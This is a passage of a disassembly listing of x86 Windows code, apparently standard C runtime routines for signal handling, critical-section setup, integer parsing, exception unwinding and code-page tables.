sub_407786+E2j cmp eax, 0C0000091h jnz short loc_407883 mov dword ptr [esi+64h], 84h jmp short loc_4078C1 ; --------------------------------------------------------------------------- loc_407883: ; CODE XREF: sub_407786+F2j cmp eax, 0C0000093h jnz short loc_407893 mov dword ptr [esi+64h], 85h jmp short loc_4078C1 ; --------------------------------------------------------------------------- loc_407893: ; CODE XREF: sub_407786+102j cmp eax, 0C000008Dh jnz short loc_4078A3 mov dword ptr [esi+64h], 82h jmp short loc_4078C1 ; --------------------------------------------------------------------------- loc_4078A3: ; CODE XREF: sub_407786+112j cmp eax, 0C000008Fh jnz short loc_4078B3 mov dword ptr [esi+64h], 86h jmp short loc_4078C1 ; --------------------------------------------------------------------------- loc_4078B3: ; CODE XREF: sub_407786+122j cmp eax, 0C0000092h jnz short loc_4078C1 mov dword ptr [esi+64h], 8Ah loc_4078C1: ; CODE XREF: sub_407786+DBj ; sub_407786+EBj ... push dword ptr [esi+64h] push 8 call ebx pop ecx mov [esi+64h], edi jmp short loc_4078D5 ; --------------------------------------------------------------------------- loc_4078CE: ; CODE XREF: sub_407786+8Aj and dword ptr [eax+8], 0 push ecx call ebx loc_4078D5: ; CODE XREF: sub_407786+146j mov eax, [ebp+var_8] pop ecx mov [esi+60h], eax loc_4078DC: ; CODE XREF: sub_407786+72j or eax, 0FFFFFFFFh loc_4078DF: ; CODE XREF: sub_407786+59j ; sub_407786+6Aj pop ebx pop edi loc_4078E1: ; CODE XREF: sub_407786+Fj pop esi leave retn sub_407786 endp ; =============== S U B R O U T I N E ======================================= sub_4078E4 proc near ; CODE XREF: sub_4044FF+27p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_411BD8, eax mov dword_411BDC, eax mov dword_411BE0, eax mov dword_411BE4, eax retn sub_4078E4 endp ; =============== S U B R O U T I N E ======================================= sub_4078FD proc near ; CODE XREF: sub_40793E+5Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, dword_41087C push esi loc_407908: ; CODE XREF: sub_4078FD+1Ej cmp [eax+4], edx jz short loc_40791D mov esi, ecx imul esi, 0Ch add esi, [esp+4+arg_0] add eax, 0Ch cmp eax, esi jb short loc_407908 loc_40791D: ; CODE XREF: sub_4078FD+Ej imul ecx, 0Ch add ecx, [esp+4+arg_0] pop esi cmp eax, ecx jnb short loc_40792E cmp [eax+4], edx jz short locret_407930 loc_40792E: ; CODE XREF: sub_4078FD+2Aj xor eax, eax locret_407930: ; CODE XREF: sub_4078FD+2Fj retn sub_4078FD endp ; =============== S U B R O U T I N E ======================================= sub_407931 proc near ; CODE XREF: sub_40AA11:loc_40AA3Ep push dword_411BE0 call sub_4062CC pop ecx retn sub_407931 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40793E proc near ; CODE XREF: sub_40AA11+38p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00407AE8 SIZE 00000006 BYTES push 20h push offset dword_40E600 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_28], edi mov ebx, [ebp+arg_0] cmp ebx, 0Bh jg short loc_4079A6 jz short loc_407971 mov eax, ebx push 2 pop ecx sub eax, ecx jz short loc_407987 sub eax, ecx jz short loc_407971 sub eax, ecx jz short loc_4079D1 sub eax, ecx jnz short loc_4079B5 loc_407971: ; CODE XREF: sub_40793E+1Cj ; sub_40793E+29j call sub_406471 mov edi, eax mov [ebp+var_28], edi test edi, edi jnz short loc_407993 loc_40797F: ; CODE XREF: sub_40793E+91j or eax, 0FFFFFFFFh jmp loc_407AE8 ; --------------------------------------------------------------------------- loc_407987: ; CODE XREF: sub_40793E+25j mov esi, offset dword_411BD8 mov eax, dword_411BD8 jmp short loc_4079F3 ; --------------------------------------------------------------------------- loc_407993: ; CODE XREF: sub_40793E+3Fj push dword ptr [edi+5Ch] mov edx, ebx call sub_4078FD mov esi, eax add esi, 8 mov eax, [esi] jmp short loc_407A00 ; --------------------------------------------------------------------------- loc_4079A6: ; CODE XREF: sub_40793E+1Aj mov eax, ebx sub eax, 0Fh jz short loc_4079E9 sub eax, 6 jz short loc_4079DD dec eax jz short loc_4079D1 loc_4079B5: ; CODE XREF: sub_40793E+31j call sub_403F8F mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax call sub_404E8B add esp, 14h jmp short loc_40797F ; --------------------------------------------------------------------------- loc_4079D1: ; CODE XREF: sub_40793E+2Dj ; sub_40793E+75j mov esi, offset dword_411BE0 mov eax, dword_411BE0 jmp short loc_4079F3 ; --------------------------------------------------------------------------- loc_4079DD: ; CODE XREF: sub_40793E+72j mov esi, offset dword_411BDC mov eax, dword_411BDC jmp short loc_4079F3 ; --------------------------------------------------------------------------- loc_4079E9: ; CODE XREF: sub_40793E+6Dj mov esi, offset dword_411BE4 mov eax, dword_411BE4 loc_4079F3: ; CODE XREF: sub_40793E+53j ; sub_40793E+9Dj ... mov [ebp+var_1C], 1 push eax call sub_4062CC loc_407A00: ; CODE XREF: sub_40793E+66j mov [ebp+var_20], eax pop ecx xor eax, eax cmp [ebp+var_20], 1 jz loc_407AE8 cmp [ebp+var_20], eax jnz short loc_407A1C push 3 call sub_4044D0 loc_407A1C: ; CODE XREF: sub_40793E+D5j cmp [ebp+var_1C], eax jz short loc_407A28 push eax call sub_405121 pop ecx loc_407A28: ; CODE XREF: sub_40793E+E1j xor eax, eax mov [ebp+ms_exc.disabled], eax cmp ebx, 8 jz short loc_407A3C cmp ebx, 0Bh jz short loc_407A3C cmp ebx, 4 jnz short loc_407A57 loc_407A3C: ; CODE XREF: sub_40793E+F2j ; sub_40793E+F7j mov ecx, [edi+60h] mov [ebp+var_2C], ecx mov [edi+60h], eax cmp ebx, 8 jnz short loc_407A8A mov ecx, [edi+64h] mov [ebp+var_30], ecx mov dword ptr [edi+64h], 8Ch loc_407A57: ; CODE XREF: sub_40793E+FCj cmp ebx, 8 jnz short loc_407A8A mov ecx, dword_410870 mov [ebp+var_24], ecx loc_407A65: ; CODE XREF: sub_40793E+14Aj mov ecx, dword_410874 mov edx, dword_410870 add ecx, edx cmp [ebp+var_24], ecx jge short loc_407A91 mov ecx, [ebp+var_24] imul ecx, 0Ch mov edx, [edi+5Ch] mov [ecx+edx+8], eax inc [ebp+var_24] jmp short loc_407A65 ; --------------------------------------------------------------------------- loc_407A8A: ; CODE XREF: sub_40793E+10Aj ; sub_40793E+11Cj call sub_4062C3 mov [esi], eax loc_407A91: ; CODE XREF: sub_40793E+138j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_407AB2 cmp ebx, 8 jnz short sub_407AC1 push dword ptr [edi+64h] push ebx call [ebp+var_20] pop ecx jmp short loc_407AC5 sub_40793E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407AAC proc near ; DATA XREF: seg001:0040E618o mov ebx, [ebp+8] mov edi, [ebp-28h] sub_407AAC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407AB2 proc near ; CODE XREF: sub_40793E+15Ap cmp dword ptr [ebp-1Ch], 0 jz short locret_407AC0 push 0 call sub_405049 pop ecx locret_407AC0: ; CODE XREF: sub_407AB2+4j retn sub_407AB2 endp ; =============== S U B R O U T I N E ======================================= sub_407AC1 proc near ; CODE XREF: sub_40793E+162j push ebx call dword ptr [ebp-20h] loc_407AC5: ; CODE XREF: sub_40793E+16Cj pop ecx cmp ebx, 8 jz short loc_407AD5 cmp ebx, 0Bh jz short loc_407AD5 cmp ebx, 4 jnz short loc_407AE6 loc_407AD5: ; CODE XREF: sub_407AC1+8j ; sub_407AC1+Dj mov eax, [ebp-2Ch] mov [edi+60h], eax cmp ebx, 8 jnz short loc_407AE6 mov eax, [ebp-30h] mov [edi+64h], eax loc_407AE6: ; CODE XREF: sub_407AC1+12j ; sub_407AC1+1Dj xor eax, eax sub_407AC1 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_40793E loc_407AE8: ; CODE XREF: sub_40793E+44j ; sub_40793E+CCj call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40793E ; =============== S U B R O U T I N E ======================================= sub_407AEE proc near ; CODE XREF: sub_4044FF+21p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_411BEC, eax retn sub_407AEE endp ; =============== S U B R O U T I N E ======================================= sub_407AF8 proc near ; CODE XREF: sub_4044FF+1Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_411BF8, eax retn sub_407AF8 endp ; =============== S U B R O U T I N E ======================================= sub_407B02 proc near ; CODE XREF: sub_4044FF+Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_411BFC, eax retn sub_407B02 endp ; --------------------------------------------------------------------------- loc_407B0C: ; DATA XREF: sub_407B1C:loc_407B81o push dword ptr [esp+4] call dword_40D178 ; InitializeCriticalSection xor eax, eax inc eax retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B1C proc near ; CODE XREF: sub_404FAB+26p ; sub_40505E+78p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push 14h push offset dword_40E620 call __SEH_prolog4 xor edi, edi mov [ebp+var_1C], edi push dword_411BFC call sub_4062CC pop ecx mov esi, eax cmp esi, edi jnz short loc_407B92 lea eax, [ebp+var_1C] push eax call sub_4042D8 pop ecx cmp eax, edi jz short loc_407B5A push edi push edi push edi push edi push edi call sub_404D8F add esp, 14h loc_407B5A: ; CODE XREF: sub_407B1C+2Fj cmp [ebp+var_1C], 1 jz short loc_407B81 push offset aKernel32_dll_0 ; "kernel32.dll" call dword_40D104 ; GetModuleHandleA cmp eax, edi jz short loc_407B81 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push eax call dword_40D100 ; GetProcAddress mov esi, eax cmp esi, edi jnz short loc_407B86 loc_407B81: ; CODE XREF: sub_407B1C+42j ; sub_407B1C+51j mov esi, offset loc_407B0C loc_407B86: ; CODE XREF: sub_407B1C+63j push esi call sub_406255 pop ecx mov dword_411BFC, eax loc_407B92: ; CODE XREF: sub_407B1C+21j mov [ebp+ms_exc.disabled], edi push [ebp+arg_4] push [ebp+arg_0] call esi ; TlsSetValue mov [ebp+var_20], eax jmp short loc_407BD1 ; --------------------------------------------------------------------------- mov eax, [ebp+ms_exc.exc_ptr] mov eax, [eax] mov eax, [eax] mov [ebp+var_24], eax xor ecx, ecx cmp eax, 0C0000017h setz cl mov eax, ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] cmp [ebp+var_24], 0C0000017h jnz short loc_407BCD push 8 call dword_40D164 ; RtlRestoreLastWin32Error loc_407BCD: ; CODE XREF: sub_407B1C+A7j and [ebp+var_20], 0 loc_407BD1: ; CODE XREF: sub_407B1C+84j mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_20] call __SEH_epilog4 retn sub_407B1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BE1 proc near ; CODE XREF: sub_407E0C:loc_407E2Bp var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push esi push edi push [ebp+arg_0] lea ecx, [ebp+var_14] call sub_4048C8 mov eax, [ebp+arg_8] mov esi, [ebp+arg_4] xor edi, edi cmp eax, edi jz short loc_407C02 mov [eax], esi loc_407C02: ; CODE XREF: sub_407BE1+1Dj cmp esi, edi jnz short loc_407C32 loc_407C06: ; CODE XREF: sub_407BE1+5Aj ; sub_407BE1+60j call sub_403F8F push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_404E8B add esp, 14h cmp [ebp+var_8], 0 jz short loc_407C2B mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_407C2B: ; CODE XREF: sub_407BE1+41j xor eax, eax jmp loc_407E08 ; --------------------------------------------------------------------------- loc_407C32: ; CODE XREF: sub_407BE1+23j cmp [ebp+arg_C], edi jz short loc_407C43 cmp [ebp+arg_C], 2 jl short loc_407C06 cmp [ebp+arg_C], 24h jg short loc_407C06 loc_407C43: ; CODE XREF: sub_407BE1+54j mov ecx, [ebp+var_14] push ebx mov bl, [esi] mov [ebp+var_4], edi lea edi, [esi+1] loc_407C4F: ; CODE XREF: sub_407BE1+A5j cmp dword ptr [ecx+0ACh], 1 jle short loc_407C6F lea eax, [ebp+var_14] push eax movzx eax, bl push 8 push eax call sub_40AB1F mov ecx, [ebp+var_14] add esp, 0Ch jmp short loc_407C7F ; --------------------------------------------------------------------------- loc_407C6F: ; CODE XREF: sub_407BE1+75j mov edx, [ecx+0C8h] movzx eax, bl movzx eax, byte ptr [edx+eax*2] and eax, 8 loc_407C7F: ; CODE XREF: sub_407BE1+8Cj test eax, eax jz short loc_407C88 mov bl, [edi] inc edi jmp short loc_407C4F ; --------------------------------------------------------------------------- loc_407C88: ; CODE XREF: sub_407BE1+A0j cmp bl, 2Dh jnz short loc_407C93 or [ebp+arg_10], 2 jmp short loc_407C98 ; --------------------------------------------------------------------------- loc_407C93: ; CODE XREF: sub_407BE1+AAj cmp bl, 2Bh jnz short loc_407C9B loc_407C98: ; CODE XREF: sub_407BE1+B0j mov bl, [edi] inc edi loc_407C9B: ; CODE XREF: sub_407BE1+B5j mov eax, [ebp+arg_C] test eax, eax jl loc_407DEF cmp eax, 1 jz loc_407DEF cmp eax, 24h jg loc_407DEF test eax, eax jnz short loc_407CE6 cmp bl, 30h jz short loc_407CCA mov [ebp+arg_C], 0Ah jmp short loc_407CFE ; --------------------------------------------------------------------------- loc_407CCA: ; CODE XREF: sub_407BE1+DEj mov al, [edi] cmp al, 78h jz short loc_407CDD cmp al, 58h jz short loc_407CDD mov [ebp+arg_C], 8 jmp short loc_407CFE ; --------------------------------------------------------------------------- loc_407CDD: ; CODE XREF: sub_407BE1+EDj ; sub_407BE1+F1j mov [ebp+arg_C], 10h jmp short loc_407CF0 ; --------------------------------------------------------------------------- loc_407CE6: ; CODE XREF: sub_407BE1+D9j cmp eax, 10h jnz short loc_407CFE cmp bl, 30h jnz short loc_407CFE loc_407CF0: ; CODE XREF: sub_407BE1+103j mov al, [edi] cmp al, 78h jz short loc_407CFA cmp al, 58h jnz short loc_407CFE loc_407CFA: ; CODE XREF: sub_407BE1+113j inc edi mov bl, [edi] inc edi loc_407CFE: ; CODE XREF: sub_407BE1+E7j ; sub_407BE1+FAj ... mov esi, [ecx+0C8h] or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_C] loc_407D0C: ; CODE XREF: sub_407BE1+19Dj movzx ecx, bl movzx ecx, word ptr [esi+ecx*2] test cl, 4 jz short loc_407D20 movsx ecx, bl sub ecx, 30h jmp short loc_407D3A ; --------------------------------------------------------------------------- loc_407D20: ; CODE XREF: sub_407BE1+135j test cx, 103h jz short loc_407D58 mov cl, bl sub cl, 61h cmp cl, 19h movsx ecx, bl ja short loc_407D37 sub ecx, 20h loc_407D37: ; CODE XREF: sub_407BE1+151j add ecx, 0FFFFFFC9h loc_407D3A: ; CODE XREF: sub_407BE1+13Dj cmp ecx, [ebp+arg_C] jnb short loc_407D58 or [ebp+arg_10], 8 cmp [ebp+var_4], eax jb short loc_407D6F jnz short loc_407D4E cmp ecx, edx jbe short loc_407D6F loc_407D4E: ; CODE XREF: sub_407BE1+167j or [ebp+arg_10], 4 cmp [ebp+arg_8], 0 jnz short loc_407D7B loc_407D58: ; CODE XREF: sub_407BE1+144j ; sub_407BE1+15Cj mov eax, [ebp+arg_10] dec edi test al, 8 jnz short loc_407D80 cmp [ebp+arg_8], 0 jz short loc_407D69 mov edi, [ebp+arg_4] loc_407D69: ; CODE XREF: sub_407BE1+183j and [ebp+var_4], 0 jmp short loc_407DCB ; --------------------------------------------------------------------------- loc_407D6F: ; CODE XREF: sub_407BE1+165j ; sub_407BE1+16Bj mov ebx, [ebp+var_4] imul ebx, [ebp+arg_C] add ebx, ecx mov [ebp+var_4], ebx loc_407D7B: ; CODE XREF: sub_407BE1+175j mov bl, [edi] inc edi jmp short loc_407D0C ; --------------------------------------------------------------------------- loc_407D80: ; CODE XREF: sub_407BE1+17Dj test al, 4 mov esi, 7FFFFFFFh jnz short loc_407DA4 test al, 1 jnz short loc_407DCB and eax, 2 jz short loc_407D9B cmp [ebp+var_4], 80000000h ja short loc_407DA4 loc_407D9B: ; CODE XREF: sub_407BE1+1AFj test eax, eax jnz short loc_407DCB cmp [ebp+var_4], esi jbe short loc_407DCB loc_407DA4: ; CODE XREF: sub_407BE1+1A6j ; sub_407BE1+1B8j call sub_403F8F test byte ptr [ebp+arg_10], 1 mov dword ptr [eax], 22h jz short loc_407DBB or [ebp+var_4], 0FFFFFFFFh jmp short loc_407DCB ; --------------------------------------------------------------------------- loc_407DBB: ; CODE XREF: sub_407BE1+1D2j mov al, byte ptr [ebp+arg_10] and al, 2 neg al sbb eax, eax neg eax add eax, esi mov [ebp+var_4], eax loc_407DCB: ; CODE XREF: sub_407BE1+18Cj ; sub_407BE1+1AAj ... mov eax, [ebp+arg_8] test eax, eax jz short loc_407DD4 mov [eax], edi loc_407DD4: ; CODE XREF: sub_407BE1+1EFj test byte ptr [ebp+arg_10], 2 jz short loc_407DDD neg [ebp+var_4] loc_407DDD: ; CODE XREF: sub_407BE1+1F7j cmp [ebp+var_8], 0 jz short loc_407DEA mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_407DEA: ; CODE XREF: sub_407BE1+200j mov eax, [ebp+var_4] jmp short loc_407E07 ; --------------------------------------------------------------------------- loc_407DEF: ; CODE XREF: sub_407BE1+BFj ; sub_407BE1+C8j ... mov eax, [ebp+arg_8] test eax, eax jz short loc_407DF8 mov [eax], esi loc_407DF8: ; CODE XREF: sub_407BE1+213j cmp [ebp+var_8], 0 jz short loc_407E05 mov eax, [ebp+var_C] and dword ptr [eax+70h], 0FFFFFFFDh loc_407E05: ; CODE XREF: sub_407BE1+21Bj xor eax, eax loc_407E07: ; CODE XREF: sub_407BE1+20Cj pop ebx loc_407E08: ; CODE XREF: sub_407BE1+4Cj pop edi pop esi leave retn sub_407BE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_40454B+8p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp xor eax, eax cmp dword_411C1C, eax push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] jnz short loc_407E2A push offset off_410E90 jmp short loc_407E2B ; --------------------------------------------------------------------------- loc_407E2A: ; CODE XREF: sub_407E0C+15j push eax loc_407E2B: ; CODE XREF: sub_407E0C+1Cj call sub_407BE1 add esp, 14h pop ebp retn sub_407E0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_407E38 proc near ; CODE XREF: sub_407E38+BDp ; seg001:00407F1Ep ... var_20 = dword ptr -20h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov edx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_8] push ebp push edx push eax push ecx push ecx push offset loc_407EC8 push large dword ptr fs:0 mov eax, dword_410440 xor eax, esp mov [esp+28h+var_20], eax mov large fs:0, esp loc_407E6A: ; CODE XREF: sub_407E38+64j ; sub_407E38+80j mov eax, [esp+28h+arg_4] mov ebx, [eax+8] mov ecx, [esp+28h+arg_0] xor ebx, [ecx] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFEh jz short loc_407EBA mov edx, [esp+28h+arg_8] cmp edx, 0FFFFFFFEh jz short loc_407E8C cmp esi, edx jbe short loc_407EBA loc_407E8C: ; CODE XREF: sub_407E38+4Ej lea esi, [esi+esi*2] lea ebx, [ebx+esi*4+10h] mov ecx, [ebx] mov [eax+0Ch], ecx cmp dword ptr [ebx+4], 0 jnz short loc_407E6A push 101h mov eax, [ebx+8] call sub_40AD29 mov ecx, 1 mov eax, [ebx+8] call sub_40AD48 jmp short loc_407E6A ; --------------------------------------------------------------------------- loc_407EBA: ; CODE XREF: sub_407E38+45j ; sub_407E38+52j pop large dword ptr fs:0 add esp, 18h pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_407EC8: ; DATA XREF: sub_407E38+14o mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_407F0D mov eax, [esp+arg_4] mov ecx, [eax+8] xor ecx, eax call sub_403F45 push ebp mov ebp, [eax+18h] push dword ptr [eax+0Ch] push dword ptr [eax+10h] push dword ptr [eax+14h] call sub_407E38 add esp, 0Ch pop ebp mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_407F0D: ; CODE XREF: sub_407E38+A0j retn sub_407E38 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] push dword ptr [ecx+1Ch] push dword ptr [ecx+18h] push dword ptr [ecx+28h] call sub_407E38 add esp, 0Ch pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_407F2A proc near ; CODE XREF: sub_404650+89p push ebp push esi push edi push ebx mov ebp, edx xor eax, eax xor ebx, ebx xor edx, edx xor esi, esi xor edi, edi call ecx pop ebx pop edi pop esi pop ebp retn sub_407F2A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404650 loc_407F41: ; CODE XREF: sub_404650+170j mov ebp, edx mov esi, ecx mov eax, ecx push 1 call sub_40AD29 xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor edi, edi jmp esi ; END OF FUNCTION CHUNK FOR sub_404650 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F5A proc near ; CODE XREF: sub_404650+11Fp push ebp mov ebp, esp push ebx push esi push edi push 0 push 0 push offset loc_407F6F push ecx call sub_40C5BE ; RtlUnwind loc_407F6F: ; DATA XREF: sub_407F5A+Ao pop edi pop esi pop ebx pop ebp retn sub_407F5A endp ; =============== S U B R O U T I N E ======================================= sub_407F74 proc near ; CODE XREF: sub_404650+137p ; sub_404650+18Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp mov ebp, [esp+4+arg_0] push edx push ecx push [esp+0Ch+arg_4] call sub_407E38 add esp, 0Ch pop ebp retn 8 sub_407F74 endp ; =============== S U B R O U T I N E ======================================= sub_407F8B proc near ; CODE XREF: sub_4082B7+14Cp ; sub_4082B7+1A1p sub eax, 3A4h jz short loc_407FB4 sub eax, 4 jz short loc_407FAE sub eax, 0Dh jz short loc_407FA8 dec eax jz short loc_407FA2 xor eax, eax retn ; --------------------------------------------------------------------------- loc_407FA2: ; CODE XREF: sub_407F8B+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_407FA8: ; CODE XREF: sub_407F8B+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_407FAE: ; CODE XREF: sub_407F8B+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_407FB4: ; CODE XREF: sub_407F8B+5j mov eax, 411h retn sub_407F8B endp ; =============== S U B R O U T I N E ======================================= sub_407FBA proc near ; CODE XREF: sub_4082B7+2Bp push ebx push ebp push esi push edi mov ebp, 101h mov esi, eax push ebp xor edi, edi lea ebx, [esi+1Ch] push edi push ebx call sub_403FE0 mov [esi+4], edi mov [esi+8], edi mov [esi+0Ch], edi xor eax, eax lea edi, [esi+10h] stosd stosd stosd mov eax, offset dword_410880 add esp, 0Ch sub eax, esi loc_407FED: ; CODE XREF: sub_407FBA+3Aj mov cl, [eax+ebx] mov [ebx], cl inc ebx dec ebp jnz short loc_407FED lea ecx, [esi+11Dh] mov esi, 100h loc_408001: ; CODE XREF: sub_407FBA+4Ej mov dl, [ecx+eax] mov [ecx], dl inc ecx dec esi jnz short loc_408001 pop edi pop esi pop ebp pop ebx retn sub_407FBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=49Ch sub_40800F proc near ; CODE XREF: sub_4082B7+16Fp var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_512 = byte ptr -512h var_511 = byte ptr -511h var_504 = word ptr -504h var_304 = byte ptr -304h var_204 = byte ptr -204h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp lea ebp, [esp-49Ch] sub esp, 51Ch mov eax, dword_410440 xor eax, ebp mov [ebp+49Ch+var_4], eax push ebx push edi lea eax, [ebp+49Ch+var_518] push eax push dword ptr [esi+4] call dword_40D180 ; GetCPInfo test eax, eax mov edi, 100h jz loc_408135 xor eax, eax loc_408048: ; CODE XREF: sub_40800F+43j mov [ebp+eax+49Ch+var_104], al inc eax cmp eax, edi jb short loc_408048 mov al, [ebp+49Ch+var_512] test al, al mov [ebp+49Ch+var_104], 20h jz short loc_40808D lea ebx, [ebp+49Ch+var_511] loc_408065: ; CODE XREF: sub_40800F+7Cj movzx ecx, al movzx eax, byte ptr [ebx] cmp ecx, eax ja short loc_408085 sub eax, ecx inc eax push eax lea edx, [ebp+ecx+49Ch+var_104] push 20h push edx call sub_403FE0 add esp, 0Ch loc_408085: ; CODE XREF: sub_40800F+5Ej inc ebx mov al, [ebx] inc ebx test al, al jnz short loc_408065 loc_40808D: ; CODE XREF: sub_40800F+51j push 0 push dword ptr [esi+0Ch] lea eax, [ebp+49Ch+var_504] push dword ptr [esi+4] push eax push edi lea eax, [ebp+49Ch+var_104] push eax push 1 push 0 call sub_40B2E8 xor ebx, ebx push ebx push dword ptr [esi+4] lea eax, [ebp+49Ch+var_204] push edi push eax push edi lea eax, [ebp+49Ch+var_104] push eax push edi push dword ptr [esi+0Ch] push ebx call sub_40B0ED add esp, 44h push ebx push dword ptr [esi+4] lea eax, [ebp+49Ch+var_304] push edi push eax push edi lea eax, [ebp+49Ch+var_104] push eax push 200h push dword ptr [esi+0Ch] push ebx call sub_40B0ED add esp, 24h xor eax, eax loc_4080F4: ; CODE XREF: sub_40800F+122j movzx ecx, [ebp+eax*2+49Ch+var_504] test cl, 1 jz short loc_40810C or byte ptr [esi+eax+1Dh], 10h mov cl, [ebp+eax+49Ch+var_204] jmp short loc_40811D ; --------------------------------------------------------------------------- loc_40810C: ; CODE XREF: sub_40800F+EDj test cl, 2 jz short loc_408126 or byte ptr [esi+eax+1Dh], 20h mov cl, [ebp+eax+49Ch+var_304] loc_40811D: ; CODE XREF: sub_40800F+FBj mov [esi+eax+11Dh], cl jmp short loc_40812E ; --------------------------------------------------------------------------- loc_408126: ; CODE XREF: sub_40800F+100j mov byte ptr [esi+eax+11Dh], 0 loc_40812E: ; CODE XREF: sub_40800F+115j inc eax cmp eax, edi jb short loc_4080F4 jmp short loc_408182 ; --------------------------------------------------------------------------- loc_408135: ; CODE XREF: sub_40800F+31j lea eax, [esi+11Dh] mov [ebp+49Ch+var_51C], 0FFFFFF9Fh xor ecx, ecx sub [ebp+49Ch+var_51C], eax loc_408147: ; CODE XREF: sub_40800F+171j mov edx, [ebp+49Ch+var_51C] lea eax, [esi+ecx+11Dh] add edx, eax lea ebx, [edx+20h] cmp ebx, 19h ja short loc_408167 or byte ptr [esi+ecx+1Dh], 10h mov dl, cl add dl, 20h jmp short loc_408176 ; --------------------------------------------------------------------------- loc_408167: ; CODE XREF: sub_40800F+14Aj cmp edx, 19h ja short loc_40817A or byte ptr [esi+ecx+1Dh], 20h mov dl, cl sub dl, 20h loc_408176: ; CODE XREF: sub_40800F+156j mov [eax], dl jmp short loc_40817D ; --------------------------------------------------------------------------- loc_40817A: ; CODE XREF: sub_40800F+15Bj mov byte ptr [eax], 0 loc_40817D: ; CODE XREF: sub_40800F+169j inc ecx cmp ecx, edi jb short loc_408147 loc_408182: ; CODE XREF: sub_40800F+124j mov ecx, [ebp+49Ch+var_4] pop edi xor ecx, ebp pop ebx call sub_403F45 add ebp, 49Ch leave retn sub_40800F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408199 proc near ; CODE XREF: sub_4048C8+57p ; sub_408490+1Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_40E640 call __SEH_prolog4 call sub_4064E8 mov edi, eax mov eax, dword_410DA4 test [edi+70h], eax jz short loc_4081D3 cmp dword ptr [edi+6Ch], 0 jz short loc_4081D3 mov esi, [edi+68h] loc_4081BF: ; CODE XREF: sub_408199+96j test esi, esi jnz short loc_4081CB push 20h call sub_40422F pop ecx loc_4081CB: ; CODE XREF: sub_408199+28j mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_4081D3: ; CODE XREF: sub_408199+1Bj ; sub_408199+21j push 0Dh call sub_405121 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [edi+68h] mov [ebp+var_1C], esi cmp esi, dword_410CA8 jz short loc_408223 test esi, esi jz short loc_40820B push esi call dword_40D16C ; InterlockedDecrement test eax, eax jnz short loc_40820B cmp esi, offset dword_410880 jz short loc_40820B push esi call sub_40405A pop ecx loc_40820B: ; CODE XREF: sub_408199+56j ; sub_408199+61j ... mov eax, dword_410CA8 mov [edi+68h], eax mov esi, dword_410CA8 mov [ebp+var_1C], esi push esi call dword_40D160 ; InterlockedIncrement loc_408223: ; CODE XREF: sub_408199+52j 